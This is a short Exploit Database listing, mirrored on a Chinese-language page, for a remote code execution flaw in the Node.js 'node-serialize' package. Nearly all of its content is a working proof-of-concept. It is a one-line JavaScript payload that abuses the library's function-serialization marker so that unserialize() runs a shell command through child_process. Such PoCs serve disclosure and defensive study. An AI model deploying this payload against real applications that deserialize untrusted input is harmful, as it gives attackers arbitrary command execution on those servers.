Node.JS – ‘node-serialize’ Remote Code Execution

• Exploit Database
• 135 阅读

• 作者： OpSecX
  日期： 2017-02-08
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/45265/
• 1 2 3 4

  var serialize = require('node-serialize'); var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}'; serialize.unserialize(payload);